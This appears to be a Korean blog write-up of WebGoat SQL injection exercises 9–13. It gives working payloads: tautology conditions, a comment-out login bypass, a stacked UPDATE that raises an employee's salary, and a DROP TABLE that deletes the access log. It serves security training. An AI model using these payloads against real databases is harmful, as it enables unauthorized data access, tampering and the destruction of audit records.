티스토리 뷰

9

`user_data` 테이블에서 모든 사용자를 데이터를 가져오는 기본적인 쿼리는 다음과 같다.
SELECT * FROM user_data;
SELECT * FROM user_data WHERE 1=1;
두 번째 쿼리와 같이 조건문이 있는 경우 WHERE 절을 항상 참으로 맞춰 주어야 한다. 따라서 라인의 마지막에 `OR 1=1`과 같은 부분이 추가되면 앞의 AND 절과 관계 없이 OR 절의 뒷부분에서 TRUE가 되므로 WHERE절이 참이 된다.
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' OR '1'='1';
따라서 `' OR '1'='1`이 들어가면 모든 데이터를 조회할 수 있다.
10

2개의 입력 필드를 이용해 `user_data` 테이블에서 모든 데이터를 가져와야 한다. 사용자 입력을 받는 부분은 `login_count`, `user_id` 필드다. 마찬가지로 조건문을 참으로 만들어주면 된다.
SELECT * FROM user_data WHERE login_count = 0 AND userid = 0 or 1 = 1;
`login_count`의 입력은 사실 상관 없다. 앞에서부터 조건 비교를 하고, 마지막에 `or 1 = 1`이 있기 때문에 `login_count`의 입력 값이 1이든 100이든 위 쿼리의 WHERE절은 사실상 `1 = 1`, 참이 된다.
11

나는 John Smith, 자신의 데이터를 보기 위해 고유한 인증 TAN을 사용한다. 나의 TAN은 3SL99A다. 특정 이름이나 TAN을 알지 못해도 모든 직원의 데이터를 조회할 수 있어야 한다.
`last_name`, `auth_tan` 필드를 사용할 수 있지만 앞 필드에서 조건문을 참으로 만들어 버리고 나머지는 주석 처리되도록 하면 TAN을 입력하지 않아도 데이터를 조회할 수 있다.
SELECT * FROM employees WHERE last_name = '' or 1 = 1; --
그러면 `last_name` 필드에 대한 입력 값이 `' or 1=1; --`면 조회가 가능하다.
12

Smith의 TAN으로 현재 급여를 조회하면 다음과 같다.

Tobi와 Bob의 급여는 알 수 없으나 Smith가 가장 많이 버는 사람이 되는 방법은 두 가지다. Smith를 Tobi와 Bob보다 많이 벌도록 Smith의 급여를 수정하거나 Tobi와 Bob의 급여를 Smith 보다 낮추는 것이다. 우선 전체 급여를 조회해 Tobi와 Bob의 급여를 확인한다.

Smith의 급여를 83700 이상으로 올려야 한다.
'; UPDATE employees SET salary = 100000 WHERE auth_tan = '3SL99A'; --
첫 입력값을 공백으로 닫고(`';`), 뒤에 UPDATE 절을 추가해 Smith의 연봉을 올린다. 이후는 주석처리 되도록 `--`를 붙였다.
13

여태까지의 모든 작업이 `access_log` 테이블에 기록되었다. 따라서 이를 전부 지워야 한다. 필드 값으로 검색이 되는 것으로 보아 LIKE문인 것으로 보인다. 따라서 `'; DROP TABLE access_log; --`를 입력해 검색을 무용하게 만들고 체이닝으로 해당 테이블을 제거한다.
'Wargame > WebGoat' 카테고리의 다른 글
| Server-Side Request Forgery (0) | 2024.05.23 |
|---|---|
| Cross-Site Request Forgery (0) | 2024.05.23 |
| Injection: Cross Site Scripting (0) | 2024.05.16 |
- Total
- Today
- Yesterday
- sql injection
- test
- React
- Framework
- Spring
- CSRF
- oauth2
- Spring Security
- webgoat
- WEB
- Misc
- PS
- math
- linux
- askers
- Database
- DP
- 회고
- Transaction
- opengraph
- SEO
- java
- Dreamhack
- WarGame
- JPA
- Bandit
- XSS
- sqli
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |